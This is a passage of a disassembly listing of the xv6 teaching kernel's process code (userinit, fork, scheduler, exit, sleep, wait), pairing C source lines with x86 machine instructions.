68 60 a4 10 80 push $0x8010a460 80103840: 50 push %eax 80103841: e8 ea 31 00 00 call 80106a30 <inituvm> memset(p->tf, 0, sizeof(*p->tf)); 80103846: 83 c4 0c add $0xc,%esp p->sz = PGSIZE; 80103849: c7 03 00 10 00 00 movl $0x1000,(%ebx) memset(p->tf, 0, sizeof(*p->tf)); 8010384f: 6a 4c push $0x4c 80103851: 6a 00 push $0x0 80103853: ff 73 18 pushl 0x18(%ebx) 80103856: e8 c5 0c 00 00 call 80104520 <memset> p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010385b: 8b 43 18 mov 0x18(%ebx),%eax 8010385e: ba 1b 00 00 00 mov $0x1b,%edx p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80103863: b9 23 00 00 00 mov $0x23,%ecx safestrcpy(p->name, "initcode", sizeof(p->name)); 80103868: 83 c4 0c add $0xc,%esp p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010386b: 66 89 50 3c mov %dx,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 8010386f: 8b 43 18 mov 0x18(%ebx),%eax 80103872: 66 89 48 2c mov %cx,0x2c(%eax) p->tf->es = p->tf->ds; 80103876: 8b 43 18 mov 0x18(%ebx),%eax 80103879: 0f b7 50 2c movzwl 0x2c(%eax),%edx 8010387d: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 80103881: 8b 43 18 mov 0x18(%ebx),%eax 80103884: 0f b7 50 2c movzwl 0x2c(%eax),%edx 80103888: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 8010388c: 8b 43 18 mov 0x18(%ebx),%eax 8010388f: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 80103896: 8b 43 18 mov 0x18(%ebx),%eax 80103899: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 801038a0: 8b 43 18 mov 0x18(%ebx),%eax 801038a3: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 801038aa: 8d 43 6c lea 0x6c(%ebx),%eax 801038ad: 6a 10 push $0x10 801038af: 68 85 75 10 80 push $0x80107585 801038b4: 50 push %eax 801038b5: e8 46 0e 00 00 call 80104700 <safestrcpy> p->cwd = namei("/"); 801038ba: c7 04 24 8e 75 10 80 movl $0x8010758e,(%esp) 801038c1: e8 1a e6 ff ff call 80101ee0 <namei> 801038c6: 89 43 68 mov %eax,0x68(%ebx) acquire(&ptable.lock); 801038c9: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801038d0: e8 3b 0b 00 00 call 80104410 <acquire> p->state = RUNNABLE; 801038d5: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) release(&ptable.lock); 801038dc: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801038e3: e8 e8 0b 00 00 call 801044d0 <release> } 801038e8: 83 c4 10 add $0x10,%esp 801038eb: 8b 5d fc mov -0x4(%ebp),%ebx 801038ee: c9 leave 801038ef: c3 ret panic("userinit: out of memory?"); 801038f0: 83 ec 0c sub $0xc,%esp 801038f3: 68 6c 75 10 80 push $0x8010756c 801038f8: e8 93 ca ff ff call 80100390 <panic> 801038fd: 8d 76 00 lea 0x0(%esi),%esi 80103900 <growproc>: { 80103900: 55 push %ebp 80103901: 89 e5 mov %esp,%ebp 80103903: 56 push %esi 80103904: 53 push %ebx 80103905: 8b 75 08 mov 0x8(%ebp),%esi pushcli(); 80103908: e8 33 0a 00 00 call 80104340 <pushcli> c = mycpu(); 8010390d: e8 2e fe ff ff call 80103740 <mycpu> p = c->proc; 80103912: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103918: e8 63 0a 00 00 call 80104380 <popcli> if(n > 0){ 8010391d: 83 fe 00 cmp $0x0,%esi sz = curproc->sz; 80103920: 8b 03 mov (%ebx),%eax if(n > 0){ 80103922: 7f 1c jg 80103940 <growproc+0x40> } else if(n < 0){ 80103924: 75 3a jne 80103960 <growproc+0x60> switchuvm(curproc); 80103926: 83 ec 0c sub $0xc,%esp curproc->sz = sz; 80103929: 89 03 mov %eax,(%ebx) switchuvm(curproc); 8010392b: 53 push %ebx 8010392c: e8 ef 2f 00 00 call 80106920 <switchuvm> return 0; 80103931: 83 c4 10 add $0x10,%esp 80103934: 31 c0 xor %eax,%eax } 80103936: 8d 65 f8 lea -0x8(%ebp),%esp 80103939: 5b pop %ebx 8010393a: 5e pop %esi 8010393b: 5d pop %ebp 8010393c: c3 ret 8010393d: 8d 76 00 lea 0x0(%esi),%esi if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) 80103940: 83 ec 04 sub $0x4,%esp 80103943: 01 c6 add %eax,%esi 80103945: 56 push %esi 80103946: 50 push %eax 80103947: ff 73 04 pushl 0x4(%ebx) 8010394a: e8 21 32 00 00 call 80106b70 <allocuvm> 8010394f: 83 c4 10 add $0x10,%esp 80103952: 85 c0 test %eax,%eax 80103954: 75 d0 jne 80103926 <growproc+0x26> return -1; 80103956: b8 ff ff ff ff mov $0xffffffff,%eax 8010395b: eb d9 jmp 80103936 <growproc+0x36> 8010395d: 8d 76 00 lea 0x0(%esi),%esi if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) 80103960: 83 ec 04 sub $0x4,%esp 80103963: 01 c6 add %eax,%esi 80103965: 56 push %esi 80103966: 50 push %eax 80103967: ff 73 04 pushl 0x4(%ebx) 8010396a: e8 31 33 00 00 call 80106ca0 <deallocuvm> 8010396f: 83 c4 10 add $0x10,%esp 80103972: 85 c0 test %eax,%eax 80103974: 75 b0 jne 80103926 <growproc+0x26> 80103976: eb de jmp 80103956 <growproc+0x56> 80103978: 90 nop 80103979: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103980 <fork>: { 80103980: 55 push %ebp 80103981: 89 e5 mov %esp,%ebp 80103983: 57 push %edi 80103984: 56 push %esi 80103985: 53 push %ebx 80103986: 83 ec 1c sub $0x1c,%esp pushcli(); 80103989: e8 b2 09 00 00 call 80104340 <pushcli> c = mycpu(); 8010398e: e8 ad fd ff ff call 80103740 <mycpu> p = c->proc; 80103993: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103999: e8 e2 09 00 00 call 80104380 <popcli> if((np = allocproc()) == 0){ 8010399e: e8 5d fc ff ff call 80103600 <allocproc> 801039a3: 85 c0 test %eax,%eax 801039a5: 89 45 e4 mov %eax,-0x1c(%ebp) 801039a8: 0f 84 b7 00 00 00 je 80103a65 <fork+0xe5> if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){ 801039ae: 83 ec 08 sub $0x8,%esp 801039b1: ff 33 pushl (%ebx) 801039b3: ff 73 04 pushl 0x4(%ebx) 801039b6: 89 c7 mov %eax,%edi 801039b8: e8 63 34 00 00 call 80106e20 <copyuvm> 801039bd: 83 c4 10 add $0x10,%esp 801039c0: 85 c0 test %eax,%eax 801039c2: 89 47 04 mov %eax,0x4(%edi) 801039c5: 0f 84 a1 00 00 00 je 80103a6c <fork+0xec> np->sz = curproc->sz; 801039cb: 8b 03 mov (%ebx),%eax 801039cd: 8b 4d e4 mov -0x1c(%ebp),%ecx 801039d0: 89 01 mov %eax,(%ecx) np->parent = curproc; 801039d2: 89 59 14 mov %ebx,0x14(%ecx) 801039d5: 89 c8 mov %ecx,%eax *np->tf = *curproc->tf; 801039d7: 8b 79 18 mov 0x18(%ecx),%edi 801039da: 8b 73 18 mov 0x18(%ebx),%esi 801039dd: b9 13 00 00 00 mov $0x13,%ecx 801039e2: f3 a5 rep movsl %ds:(%esi),%es:(%edi) for(i = 0; i < NOFILE; i++) 801039e4: 31 f6 xor %esi,%esi np->tf->eax = 0; 801039e6: 8b 40 18 mov 0x18(%eax),%eax 801039e9: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) if(curproc->ofile[i]) 801039f0: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 801039f4: 85 c0 test %eax,%eax 801039f6: 74 13 je 80103a0b <fork+0x8b> np->ofile[i] = filedup(curproc->ofile[i]); 801039f8: 83 ec 0c sub $0xc,%esp 801039fb: 50 push %eax 801039fc: e8 ef d3 ff ff call 80100df0 <filedup> 80103a01: 8b 55 e4 mov -0x1c(%ebp),%edx 80103a04: 83 c4 10 add $0x10,%esp 80103a07: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4) for(i = 0; i < NOFILE; i++) 80103a0b: 83 c6 01 add $0x1,%esi 80103a0e: 83 fe 10 cmp $0x10,%esi 80103a11: 75 dd jne 801039f0 <fork+0x70> np->cwd = idup(curproc->cwd); 80103a13: 83 ec 0c sub $0xc,%esp 80103a16: ff 73 68 pushl 0x68(%ebx) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 80103a19: 83 c3 6c add $0x6c,%ebx np->cwd = idup(curproc->cwd); 80103a1c: e8 2f dc ff ff call 80101650 <idup> 80103a21: 8b 7d e4 mov -0x1c(%ebp),%edi safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 80103a24: 83 c4 0c add $0xc,%esp np->cwd = idup(curproc->cwd); 80103a27: 89 47 68 mov %eax,0x68(%edi) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 80103a2a: 8d 47 6c lea 0x6c(%edi),%eax 80103a2d: 6a 10 push $0x10 80103a2f: 53 push %ebx 80103a30: 50 push %eax 80103a31: e8 ca 0c 00 00 call 80104700 <safestrcpy> pid = np->pid; 80103a36: 8b 5f 10 mov 0x10(%edi),%ebx acquire(&ptable.lock); 80103a39: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103a40: e8 cb 09 00 00 call 80104410 <acquire> np->state = RUNNABLE; 80103a45: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi) release(&ptable.lock); 80103a4c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103a53: e8 78 0a 00 00 call 801044d0 <release> return pid; 80103a58: 83 c4 10 add $0x10,%esp } 80103a5b: 8d 65 f4 lea -0xc(%ebp),%esp 80103a5e: 89 d8 mov %ebx,%eax 80103a60: 5b pop %ebx 80103a61: 5e pop %esi 80103a62: 5f pop %edi 80103a63: 5d pop %ebp 80103a64: c3 ret return -1; 80103a65: bb ff ff ff ff mov $0xffffffff,%ebx 80103a6a: eb ef jmp 80103a5b <fork+0xdb> kfree(np->kstack); 80103a6c: 8b 5d e4 mov -0x1c(%ebp),%ebx 80103a6f: 83 ec 0c sub $0xc,%esp 80103a72: ff 73 08 pushl 0x8(%ebx) 80103a75: e8 96 e8 ff ff call 80102310 <kfree> np->kstack = 0; 80103a7a: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) np->state = UNUSED; 80103a81: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return -1; 80103a88: 83 c4 10 add $0x10,%esp 80103a8b: bb ff ff ff ff mov $0xffffffff,%ebx 80103a90: eb c9 jmp 80103a5b <fork+0xdb> 80103a92: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103a99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103aa0 <scheduler>: { 80103aa0: 55 push %ebp 80103aa1: 89 e5 mov %esp,%ebp 80103aa3: 57 push %edi 80103aa4: 56 push %esi 80103aa5: 53 push %ebx 80103aa6: 83 ec 0c sub $0xc,%esp struct cpu *c = mycpu(); 80103aa9: e8 92 fc ff ff call 80103740 <mycpu> 80103aae: 8d 78 04 lea 0x4(%eax),%edi 80103ab1: 89 c6 mov %eax,%esi c->proc = 0; 80103ab3: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax) 80103aba: 00 00 00 80103abd: 8d 76 00 lea 0x0(%esi),%esi asm volatile("sti"); 80103ac0: fb sti acquire(&ptable.lock); 80103ac1: 83 ec 0c sub $0xc,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103ac4: bb 54 2d 11 80 mov $0x80112d54,%ebx acquire(&ptable.lock); 80103ac9: 68 20 2d 11 80 push $0x80112d20 80103ace: e8 3d 09 00 00 call 80104410 <acquire> 80103ad3: 83 c4 10 add $0x10,%esp 80103ad6: 8d 76 00 lea 0x0(%esi),%esi 80103ad9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(p->state != RUNNABLE) 80103ae0: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 80103ae4: 75 33 jne 80103b19 <scheduler+0x79> switchuvm(p); 80103ae6: 83 ec 0c sub $0xc,%esp c->proc = p; 80103ae9: 89 9e ac 00 00 00 mov %ebx,0xac(%esi) switchuvm(p); 80103aef: 53 push %ebx 80103af0: e8 2b 2e 00 00 call 80106920 <switchuvm> swtch(&(c->scheduler), p->context); 80103af5: 58 pop %eax 80103af6: 5a pop %edx 80103af7: ff 73 1c pushl 0x1c(%ebx) 80103afa: 57 push %edi p->state = RUNNING; 80103afb: c7 43 0c 04 00 00 00 movl $0x4,0xc(%ebx) swtch(&(c->scheduler), p->context); 80103b02: e8 54 0c 00 00 call 8010475b <swtch> switchkvm(); 80103b07: e8 f4 2d 00 00 call 80106900 <switchkvm> c->proc = 0; 80103b0c: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi) 80103b13: 00 00 00 80103b16: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103b19: 83 c3 7c add $0x7c,%ebx 80103b1c: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80103b22: 72 bc jb 80103ae0 <scheduler+0x40> release(&ptable.lock); 80103b24: 83 ec 0c sub $0xc,%esp 80103b27: 68 20 2d 11 80 push $0x80112d20 80103b2c: e8 9f 09 00 00 call 801044d0 <release> sti(); 80103b31: 83 c4 10 add $0x10,%esp 80103b34: eb 8a jmp 80103ac0 <scheduler+0x20> 80103b36: 8d 76 00 lea 0x0(%esi),%esi 80103b39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103b40 <sched>: { 80103b40: 55 push %ebp 80103b41: 89 e5 mov %esp,%ebp 80103b43: 56 push %esi 80103b44: 53 push %ebx pushcli(); 80103b45: e8 f6 07 00 00 call 80104340 <pushcli> c = mycpu(); 80103b4a: e8 f1 fb ff ff call 80103740 <mycpu> p = c->proc; 80103b4f: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103b55: e8 26 08 00 00 call 80104380 <popcli> if(!holding(&ptable.lock)) 80103b5a: 83 ec 0c sub $0xc,%esp 80103b5d: 68 20 2d 11 80 push $0x80112d20 80103b62: e8 79 08 00 00 call 801043e0 <holding> 80103b67: 83 c4 10 add $0x10,%esp 80103b6a: 85 c0 test %eax,%eax 80103b6c: 74 4f je 80103bbd <sched+0x7d> if(mycpu()->ncli != 1) 80103b6e: e8 cd fb ff ff call 80103740 <mycpu> 80103b73: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax) 80103b7a: 75 68 jne 80103be4 <sched+0xa4> if(p->state == RUNNING) 80103b7c: 83 7b 0c 04 cmpl $0x4,0xc(%ebx) 80103b80: 74 55 je 80103bd7 <sched+0x97> asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103b82: 9c pushf 80103b83: 58 pop %eax if(readeflags()&FL_IF) 80103b84: f6 c4 02 test $0x2,%ah 80103b87: 75 41 jne 80103bca <sched+0x8a> intena = mycpu()->intena; 80103b89: e8 b2 fb ff ff call 80103740 <mycpu> swtch(&p->context, mycpu()->scheduler); 80103b8e: 83 c3 1c add $0x1c,%ebx intena = mycpu()->intena; 80103b91: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi swtch(&p->context, mycpu()->scheduler); 80103b97: e8 a4 fb ff ff call 80103740 <mycpu> 80103b9c: 83 ec 08 sub $0x8,%esp 80103b9f: ff 70 04 pushl 0x4(%eax) 80103ba2: 53 push %ebx 80103ba3: e8 b3 0b 00 00 call 8010475b <swtch> mycpu()->intena = intena; 80103ba8: e8 93 fb ff ff call 80103740 <mycpu> } 80103bad: 83 c4 10 add $0x10,%esp mycpu()->intena = intena; 80103bb0: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax) } 80103bb6: 8d 65 f8 lea -0x8(%ebp),%esp 80103bb9: 5b pop %ebx 80103bba: 5e pop %esi 80103bbb: 5d pop %ebp 80103bbc: c3 ret panic("sched ptable.lock"); 80103bbd: 83 ec 0c sub $0xc,%esp 80103bc0: 68 90 75 10 80 push $0x80107590 80103bc5: e8 c6 c7 ff ff call 80100390 <panic> panic("sched interruptible"); 80103bca: 83 ec 0c sub $0xc,%esp 80103bcd: 68 bc 75 10 80 push $0x801075bc 80103bd2: e8 b9 c7 ff ff call 80100390 <panic> panic("sched running"); 80103bd7: 83 ec 0c sub $0xc,%esp 80103bda: 68 ae 75 10 80 push $0x801075ae 80103bdf: e8 ac c7 ff ff call 80100390 <panic> panic("sched locks"); 80103be4: 83 ec 0c sub $0xc,%esp 80103be7: 68 a2 75 10 80 push $0x801075a2 80103bec: e8 9f c7 ff ff call 80100390 <panic> 80103bf1: eb 0d jmp 80103c00 <exit> 80103bf3: 90 nop 80103bf4: 90 nop 80103bf5: 90 nop 80103bf6: 90 nop 80103bf7: 90 nop 80103bf8: 90 nop 80103bf9: 90 nop 80103bfa: 90 nop 80103bfb: 90 nop 80103bfc: 90 nop 80103bfd: 90 nop 80103bfe: 90 nop 80103bff: 90 nop 80103c00 <exit>: { 80103c00: 55 push %ebp 80103c01: 89 e5 mov %esp,%ebp 80103c03: 57 push %edi 80103c04: 56 push %esi 80103c05: 53 push %ebx 80103c06: 83 ec 0c sub $0xc,%esp pushcli(); 80103c09: e8 32 07 00 00 call 80104340 <pushcli> c = mycpu(); 80103c0e: e8 2d fb ff ff call 80103740 <mycpu> p = c->proc; 80103c13: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80103c19: e8 62 07 00 00 call 80104380 <popcli> if(curproc == initproc) 80103c1e: 39 35 b8 a5 10 80 cmp %esi,0x8010a5b8 80103c24: 8d 5e 28 lea 0x28(%esi),%ebx 80103c27: 8d 7e 68 lea 0x68(%esi),%edi 80103c2a: 0f 84 e7 00 00 00 je 80103d17 <exit+0x117> if(curproc->ofile[fd]){ 80103c30: 8b 03 mov (%ebx),%eax 80103c32: 85 c0 test %eax,%eax 80103c34: 74 12 je 80103c48 <exit+0x48> fileclose(curproc->ofile[fd]); 80103c36: 83 ec 0c sub $0xc,%esp 80103c39: 50 push %eax 80103c3a: e8 01 d2 ff ff call 80100e40 <fileclose> curproc->ofile[fd] = 0; 80103c3f: c7 03 00 00 00 00 movl $0x0,(%ebx) 80103c45: 83 c4 10 add $0x10,%esp 80103c48: 83 c3 04 add $0x4,%ebx for(fd = 0; fd < NOFILE; fd++){ 80103c4b: 39 fb cmp %edi,%ebx 80103c4d: 75 e1 jne 80103c30 <exit+0x30> begin_op(); 80103c4f: e8 4c ef ff ff call 80102ba0 <begin_op> iput(curproc->cwd); 80103c54: 83 ec 0c sub $0xc,%esp 80103c57: ff 76 68 pushl 0x68(%esi) 80103c5a: e8 51 db ff ff call 801017b0 <iput> end_op(); 80103c5f: e8 ac ef ff ff call 80102c10 <end_op> curproc->cwd = 0; 80103c64: c7 46 68 00 00 00 00 movl $0x0,0x68(%esi) acquire(&ptable.lock); 80103c6b: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c72: e8 99 07 00 00 call 80104410 <acquire> wakeup1(curproc->parent); 80103c77: 8b 56 14 mov 0x14(%esi),%edx 80103c7a: 83 c4 10 add $0x10,%esp static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103c7d: b8 54 2d 11 80 mov $0x80112d54,%eax 80103c82: eb 0e jmp 80103c92 <exit+0x92> 80103c84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103c88: 83 c0 7c add $0x7c,%eax 80103c8b: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103c90: 73 1c jae 80103cae <exit+0xae> if(p->state == SLEEPING && p->chan == chan) 80103c92: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103c96: 75 f0 jne 80103c88 <exit+0x88> 80103c98: 3b 50 20 cmp 0x20(%eax),%edx 80103c9b: 75 eb jne 80103c88 <exit+0x88> p->state = RUNNABLE; 80103c9d: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103ca4: 83 c0 7c add $0x7c,%eax 80103ca7: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103cac: 72 e4 jb 80103c92 <exit+0x92> p->parent = initproc; 80103cae: 8b 0d b8 a5 10 80 mov 0x8010a5b8,%ecx for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cb4: ba 54 2d 11 80 mov $0x80112d54,%edx 80103cb9: eb 10 jmp 80103ccb <exit+0xcb> 80103cbb: 90 nop 80103cbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103cc0: 83 c2 7c add $0x7c,%edx 80103cc3: 81 fa 54 4c 11 80 cmp $0x80114c54,%edx 80103cc9: 73 33 jae 80103cfe <exit+0xfe> if(p->parent == curproc){ 80103ccb: 39 72 14 cmp %esi,0x14(%edx) 80103cce: 75 f0 jne 80103cc0 <exit+0xc0> if(p->state == ZOMBIE) 80103cd0: 83 7a 0c 05 cmpl $0x5,0xc(%edx) p->parent = initproc; 80103cd4: 89 4a 14 mov %ecx,0x14(%edx) if(p->state == ZOMBIE) 80103cd7: 75 e7 jne 80103cc0 <exit+0xc0> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103cd9: b8 54 2d 11 80 mov $0x80112d54,%eax 80103cde: eb 0a jmp 80103cea <exit+0xea> 80103ce0: 83 c0 7c add $0x7c,%eax 80103ce3: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103ce8: 73 d6 jae 80103cc0 <exit+0xc0> if(p->state == SLEEPING && p->chan == chan) 80103cea: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103cee: 75 f0 jne 80103ce0 <exit+0xe0> 80103cf0: 3b 48 20 cmp 0x20(%eax),%ecx 80103cf3: 75 eb jne 80103ce0 <exit+0xe0> p->state = RUNNABLE; 80103cf5: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 80103cfc: eb e2 jmp 80103ce0 <exit+0xe0> curproc->state = ZOMBIE; 80103cfe: c7 46 0c 05 00 00 00 movl $0x5,0xc(%esi) sched(); 80103d05: e8 36 fe ff ff call 80103b40 <sched> panic("zombie exit"); 80103d0a: 83 ec 0c sub $0xc,%esp 80103d0d: 68 dd 75 10 80 push $0x801075dd 80103d12: e8 79 c6 ff ff call 80100390 <panic> panic("init exiting"); 80103d17: 83 ec 0c sub $0xc,%esp 80103d1a: 68 d0 75 10 80 push $0x801075d0 80103d1f: e8 6c c6 ff ff call 80100390 <panic> 80103d24: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103d2a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80103d30 <yield>: { 80103d30: 55 push %ebp 80103d31: 89 e5 mov %esp,%ebp 80103d33: 53 push %ebx 80103d34: 83 ec 10 sub $0x10,%esp acquire(&ptable.lock); //DOC: yieldlock 80103d37: 68 20 2d 11 80 push $0x80112d20 80103d3c: e8 cf 06 00 00 call 80104410 <acquire> pushcli(); 80103d41: e8 fa 05 00 00 call 80104340 <pushcli> c = mycpu(); 80103d46: e8 f5 f9 ff ff call 80103740 <mycpu> p = c->proc; 80103d4b: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103d51: e8 2a 06 00 00 call 80104380 <popcli> myproc()->state = RUNNABLE; 80103d56: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) sched(); 80103d5d: e8 de fd ff ff call 80103b40 <sched> release(&ptable.lock); 80103d62: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103d69: e8 62 07 00 00 call 801044d0 <release> } 80103d6e: 83 c4 10 add $0x10,%esp 80103d71: 8b 5d fc mov -0x4(%ebp),%ebx 80103d74: c9 leave 80103d75: c3 ret 80103d76: 8d 76 00 lea 0x0(%esi),%esi 80103d79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103d80 <sleep>: { 80103d80: 55 push %ebp 80103d81: 89 e5 mov %esp,%ebp 80103d83: 57 push %edi 80103d84: 56 push %esi 80103d85: 53 push %ebx 80103d86: 83 ec 0c sub $0xc,%esp 80103d89: 8b 7d 08 mov 0x8(%ebp),%edi 80103d8c: 8b 75 0c mov 0xc(%ebp),%esi pushcli(); 80103d8f: e8 ac 05 00 00 call 80104340 <pushcli> c = mycpu(); 80103d94: e8 a7 f9 ff ff call 80103740 <mycpu> p = c->proc; 80103d99: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103d9f: e8 dc 05 00 00 call 80104380 <popcli> if(p == 0) 80103da4: 85 db test %ebx,%ebx 80103da6: 0f 84 87 00 00 00 je 80103e33 <sleep+0xb3> if(lk == 0) 80103dac: 85 f6 test %esi,%esi 80103dae: 74 76 je 80103e26 <sleep+0xa6> if(lk != &ptable.lock){ //DOC: sleeplock0 80103db0: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi 80103db6: 74 50 je 80103e08 <sleep+0x88> acquire(&ptable.lock); //DOC: sleeplock1 80103db8: 83 ec 0c sub $0xc,%esp 80103dbb: 68 20 2d 11 80 push $0x80112d20 80103dc0: e8 4b 06 00 00 call 80104410 <acquire> release(lk); 80103dc5: 89 34 24 mov %esi,(%esp) 80103dc8: e8 03 07 00 00 call 801044d0 <release> p->chan = chan; 80103dcd: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103dd0: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103dd7: e8 64 fd ff ff call 80103b40 <sched> p->chan = 0; 80103ddc: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) release(&ptable.lock); 80103de3: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103dea: e8 e1 06 00 00 call 801044d0 <release> acquire(lk); 80103def: 89 75 08 mov %esi,0x8(%ebp) 80103df2: 83 c4 10 add $0x10,%esp } 80103df5: 8d 65 f4 lea -0xc(%ebp),%esp 80103df8: 5b pop %ebx 80103df9: 5e pop %esi 80103dfa: 5f pop %edi 80103dfb: 5d pop %ebp acquire(lk); 80103dfc: e9 0f 06 00 00 jmp 80104410 <acquire> 80103e01: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi p->chan = chan; 80103e08: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103e0b: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103e12: e8 29 fd ff ff call 80103b40 <sched> p->chan = 0; 80103e17: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) } 80103e1e: 8d 65 f4 lea -0xc(%ebp),%esp 80103e21: 5b pop %ebx 80103e22: 5e pop %esi 80103e23: 5f pop %edi 80103e24: 5d pop %ebp 80103e25: c3 ret panic("sleep without lk"); 80103e26: 83 ec 0c sub $0xc,%esp 80103e29: 68 ef 75 10 80 push $0x801075ef 80103e2e: e8 5d c5 ff ff call 80100390 <panic> panic("sleep"); 80103e33: 83 ec 0c sub $0xc,%esp 80103e36: 68 e9 75 10 80 push $0x801075e9 80103e3b: e8 50 c5 ff ff call 80100390 <panic> 80103e40 <wait>: { 80103e40: 55 push %ebp 80103e41: 89 e5 mov %esp,%ebp 80103e43: 56 push %esi 80103e44: 53 push %ebx pushcli(); 80103e45: e8 f6 04 00 00 call 80104340 <pushcli> c = mycpu(); 80103e4a: e8 f1 f8 ff ff call 80103740 <mycpu> p = c->proc; 80103e4f: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80103e55: e8 26 05 00 00 call 80104380 <popcli> acquire(&ptable.lock); 80103e5a: 83 ec 0c sub $0xc,%esp 80103e5d: 68 20 2d 11 80 push $0x80112d20 80103e62: e8 a9 05 00 00 call 80104410 <acquire> 80103e67: 83 c4 10 add $0x10,%esp havekids = 0; 80103e6a: 31 c0 xor %eax,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e6c: bb 54 2d 11 80 mov $0x80112d54,%ebx 80103e71: eb 10 jmp 80103e83 <wait+0x43> 80103e73: 90 nop 80103e74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103e78: 83 c3 7c add $0x7c,%ebx 80103e7b: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80103e81: 73 1b jae 80103e9e <wait+0x5e> if(p->parent != curproc) 80103e83: 39 73 14 cmp %esi,0x14(%ebx) 80103e86: 75 f0 jne 80103e78 <wait+0x38> if(p->state == ZOMBIE){ 80103e88: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 80103e8c: 74 32 je 80103ec0 <wait+0x80> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e8e: 83 c3 7c add $0x7c,%ebx havekids = 1; 80103e91: b8 01 00 00 00 mov $0x1,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103e96: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80103e9c: 72 e5 jb 80103e83 <wait+0x43> if(!havekids || curproc->killed){ 80103e9e: 85 c0 test %eax,%eax 80103ea0: 74 74 je 80103f16 <wait+0xd6> 80103ea2: 8b 46 24 mov 0x24(%esi),%eax 80103ea5: 85 c0 test %eax,%eax 80103ea7: 75 6d jne 80103f16 